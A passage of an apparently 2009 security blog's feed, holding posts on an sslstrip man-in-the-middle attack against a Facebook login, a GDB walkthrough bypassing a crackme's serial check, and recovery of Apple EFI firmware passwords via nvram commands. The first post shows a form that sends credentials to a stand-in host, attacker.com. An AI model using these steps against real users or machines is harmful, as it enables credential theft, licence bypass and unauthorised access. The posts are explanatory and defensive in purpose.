class="attribute-value"&gt;"menubar_login" &lt;/span&gt;&lt;span class="attribute-name"&gt;id&lt;/span&gt;=&lt;span class="attribute-value"&gt;"menubar_login"&lt;/span&gt;&gt;&lt;/blockquote&gt;&lt;/pre&gt;3) Adam enters his credentials and hits Login.&lt;br /&gt;&lt;br /&gt;The problem with this is how does Adam know that the form he intends to submit to facebook.com is actually destined for facebook.com?  As stated in step 2, facebook.com will return code to instruct Adam's browser to post to an SSL secured page owned by Facebook.  But what kind of assurance does Adam have that this is the code he received?&lt;br /&gt;&lt;br /&gt;Consider the following scenario: Mallory uses something like &lt;a style="font-family: courier new;" href="http://ettercap.sourceforge.net/"&gt;ettercap&lt;/a&gt; on her university's dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students' computers to send all internet-bound traffic through her.&lt;br /&gt;&lt;br /&gt;Mallory then uses Moxie Marlinspike's &lt;a style="font-family: courier new;" href="http://www.thoughtcrime.org/software/sslstrip/"&gt;sslstrip&lt;/a&gt; to automate an attack against Facebook.  &lt;span style="font-family:courier new;"&gt;sslstrip&lt;/span&gt; will replace any responses from facebook.com with something like:&lt;br /&gt;&lt;pre id="line22"&gt;&lt;blockquote&gt;&lt;&lt;span class="start-tag"&gt;form&lt;/span&gt;&lt;span class="attribute-name"&gt; method&lt;/span&gt;=&lt;span class="attribute-value"&gt;"POST" &lt;/span&gt;&lt;span class="attribute-name"&gt;action&lt;/span&gt;=&lt;span class="attribute-value"&gt;"http://www.attacker.com/"&lt;/span&gt;&lt;span class="attribute-value"&gt;&lt;/span&gt;&gt;&lt;/blockquote&gt;&lt;/pre&gt;Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory's malicious web host.&lt;br /&gt;&lt;br /&gt;After harvesting the credentials, Mallory continues employing &lt;span style="font-family:courier new;"&gt;sslstrip&lt;/span&gt; to make (possiblly SSL-secured) page requests on behalf of Adam, staying in the middle of the conversation and reading everything unencrypted on the wire.  Or she could just reset the connection, forcing Adam to legitimately log in.  After all, she got what she set out for; why let Adam continue to consume her resources?&lt;br /&gt;&lt;br /&gt;The solution?  Only offer login pages over SSL.  Pretty simple :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1488631056342763499-7664020385009160684?l=paulmakowski.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/7664020385009160684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://paulmakowski.blogspot.com/2009/07/http-post-https-bad-idea.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/7664020385009160684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/7664020385009160684'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/2009/07/http-post-https-bad-idea.html' title='HTTP POST -&gt; HTTPS = Bad Idea&amp;reg;'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1488631056342763499.post-8183207566661588358</id><published>2009-05-24T22:26:00.000-07:00</published><updated>2009-05-24T23:29:05.103-07:00</updated><title type='text'>GDB Crackme</title><content type='html'>I wrote a really simple crackme (a la crackmes.de) for a team presentation I'm giving on software piracy.  I'm usually interested in the low-level details of any computer topic and piracy is no exception.  My portion of the presentation is focused on 'real-world' demos of cracking applications to divert program execution in an effort to illustrate how a software pirate may attempt to bypass copyright controls. It was a good excuse to learn some more about GDB - something I'd been meaning to do for a while.&lt;br /&gt;&lt;br /&gt;The code is written in C and tested on Windows XP and OS 10.5.7.  There's really no input validation, so don't be suprised if it breaks with fringe cases.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://efipw.googlecode.com/files/crackme.c"&gt;Get the Code&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stop reading here if you wish to figure out for yourself how to use GDB to make it print "you entered the correct serial number!" without actually entering the correct serial number.  If you want to know how I did it, keep reading.&lt;br /&gt;&lt;br /&gt;-------------------------------------------&lt;br /&gt;&lt;br /&gt;1) Because this demo was just supposed to illustrate the ideas behind altering program flow, I built the crackme with debugging symbols (plus I'm not good enough with gdb to do it without the symbols...please comment if you know of any good tuts):&lt;br /&gt;&lt;blockquote&gt;gcc -g crackme.c -o crackme&lt;/blockquote&gt;2) Then I ran the program and found its PID (two Terminal windows):&lt;br /&gt;&lt;blockquote&gt;./crackme&lt;br /&gt;ps&lt;br /&gt;&lt;/blockquote&gt;3) Next, I launched gdb and attached to the process:&lt;br /&gt;&lt;blockquote&gt;gdb attach &lt;pid&gt;(PID of crackme)&lt;/pid&gt;&lt;/blockquote&gt;&lt;pid&gt;4) If I wasn't familiar with my code, I would probably run bt (backtrace) to see where I am frame-wise:&lt;br /&gt;&lt;blockquote&gt;bt&lt;/blockquote&gt;5) Then I listed the variables in the scope of 'main' (because the other frames look pretty internal and uninteresting):&lt;br /&gt;&lt;blockquote&gt;info scope main&lt;/blockquote&gt;6) I explained if I were a cracker, I'd probably jump at the chance to modify a variable named 'correctSerialEntered'.  Because crackme was built with symbols, GDB knows its a signed int and will set it correctly if instructed:&lt;br /&gt;&lt;blockquote&gt;ptype main::correctSerialEntered&lt;/blockquote&gt;7) Finally, I set 'correctSerialEntered' to 1:&lt;br /&gt;&lt;blockquote&gt;set main::correctSerialEntered=1&lt;/blockquote&gt;8) ...and detached from the process:&lt;br /&gt;&lt;blockquote&gt;detach&lt;/blockquote&gt;Back at my crackme Terminal window, I can enter almost anything I like into both the username prompt and the serial prompt and get the "you entered the correct serial number!" response.&lt;br /&gt;&lt;br /&gt;On to learning some more gdb to do it without debugging symbols...&lt;br /&gt;&lt;/pid&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1488631056342763499-8183207566661588358?l=paulmakowski.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/8183207566661588358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://paulmakowski.blogspot.com/2009/05/gdb-crackme.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/8183207566661588358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/8183207566661588358'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/2009/05/gdb-crackme.html' title='GDB Crackme'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1488631056342763499.post-4558875099838915969</id><published>2009-03-30T19:04:00.000-07:00</published><updated>2009-04-01T20:49:20.852-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firmware'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='efi'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>Fun with Apple EFI Firmware Passwords</title><content type='html'>I read somewhere that Apple uses weak encryption on its firmware passwords for Intel/EFI based computers, so I decided to take a look at it while on a long flight.  I looked around for more specific discussion on the topic and didn't find anything, so I'll share what I found along with a tool I wrote to automate the changing and decrypting of the password.  I wouldn't consider the method that they employed &lt;span style="font-style: italic;"&gt;encryption&lt;/span&gt;&lt;span&gt; per se&lt;/span&gt;, but rather an obfuscation of the password.  In either case, what they did is certainly not cryptographically secure.  It's not immediately clear to me why they didn't just MD5 the password or something... the nvram appears to have sufficient space to store such a hashed value.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tested with:&lt;/span&gt; OS X 10.5.6/1st Gen (Core Duo)/Macbook Pro &amp;amp; OS X 10.5.6/Core 2 Duo/Macbook Pro.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Useful for:&lt;/span&gt; pen tests, lab deployment&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Disclaimer: I take no responsibility with what you do with this information.&lt;/span&gt;  Messing with the nvram can be potentially very serious business.  Don't contact me if your mac stops booting.&lt;br /&gt;&lt;br /&gt;The method I employed requires root access, either via the root account or single user mode.  In a pen test scenario, it may be possible to escalate to root via an exploit (as opposed to password compromise).  If the firmware password is the same or similar to another password in use, this may allow for further escalation of privilege / decryption of files / access to other machines / etc.  In a lab deployment scenario, it may be desirable to set a firmware password on deployed machines.  This process would be more easily automated with a CLI program like the one I'm providing.  Of course, there is the &lt;a href="http://archive.macenterprise.org/index.php?option=com_content&amp;amp;task=view&amp;amp;id=137&amp;amp;Itemid=132"&gt;OFPW tool&lt;/a&gt;, but that was designed for the older Open Firmware and I've had problems running it on under Leopard/EFI and am unclear as to whether or not it supports the new hardware.  The OFPW binary seems to be unnecessarily elusive and documentation even more so.&lt;br /&gt;&lt;br /&gt;Here's now the obfuscation works:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;a &lt;= 255 character ASCII string is accepted by Firmware Password Utility &lt;/li&gt;&lt;li&gt;string is viewed as binary (ASCII decoded)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;every other bit is NOT'ted, beginning with a NOT (i.e. NOT, passthru, NOT, passthru, etc) &lt;/li&gt;&lt;li&gt;resulting bitstream is stored as the password.   &lt;/li&gt;&lt;/ol&gt;You can query the current password via Terminal (hex-ASCII encoding , %-delineated):&lt;br /&gt;&lt;blockquote face="courier new"&gt;sudo nvram -p&lt;/blockquote&gt;... or you can get the contents of nvram in XML with the password in base64:&lt;br /&gt;&lt;blockquote&gt;sudo nvram -x -p&lt;/blockquote&gt;Let's run through an example.  We'll set our firmware password to:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;jh376ds8&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... which is a fairly random ASCII string.  Let's interpret it as ASCII and translate to binary:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;01101010 01101000 00110011 00110111 00110110 01100100 01110011 00111000&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... now we apply the magic formula of NOT'ting every other bit, beginning with an initial NOT:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;11000000 11000010 10011001 10011101 10011100 11001110 11011001 10010010&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... then we hex-ify it:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;c0 c2 99 9d 9c ce d9 92&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... and finally add '%' delimitors:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;%c0%c2%99%9d%9c%ce%d9%92&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... now we run:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:courier new;"&gt;sudo nvram security-password=%c0%c2%99%9d%9c%ce%d9%92&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;... and our firmware password has been updated to &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;jh376ds8&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Obviously the reverse could be employed to reveal a firmware password.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; there are three security levels included in Apple's EFI:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;none: &lt;/span&gt;Firmware password is ignored, all boot actions allowed (single user, boot off external, etc).  This is a default setting.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;command:&lt;/span&gt; Firmware password enforced if user requests to boot off another device by holding down 'alt' during boot.  Single user, target disk mode, etc disabled.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;full:&lt;/span&gt; All actions are disallowed, unless correct password is entered (including normal boot to blessed drive).&lt;br /&gt;&lt;br /&gt;Only ASCII characters with decimal values between 32 and 127 (inclusive) are allowed and the password cannot be longer than 255 characters.  If the password is empty, Apple's GUI utility actually stores "none" as the password, so I would recommend not using "none" as a password.&lt;br /&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://code.google.com/p/efipw/"&gt;Get the code&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Takeaway:&lt;/span&gt; if you're using an EFI password on your Apple computer, don't use that password for &lt;span style="font-style: italic;"&gt;anything&lt;/span&gt; else.  It is easily recovered (granted with root access), but even this recovery could allow for easy future access or further compromise.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1488631056342763499-4558875099838915969?l=paulmakowski.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/4558875099838915969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://paulmakowski.blogspot.com/2009/03/apple-efi-firmware-passwords.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/4558875099838915969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/4558875099838915969'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/2009/03/apple-efi-firmware-passwords.html' title='Fun with Apple EFI Firmware Passwords'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><thr:total>11</thr:total></entry></feed>
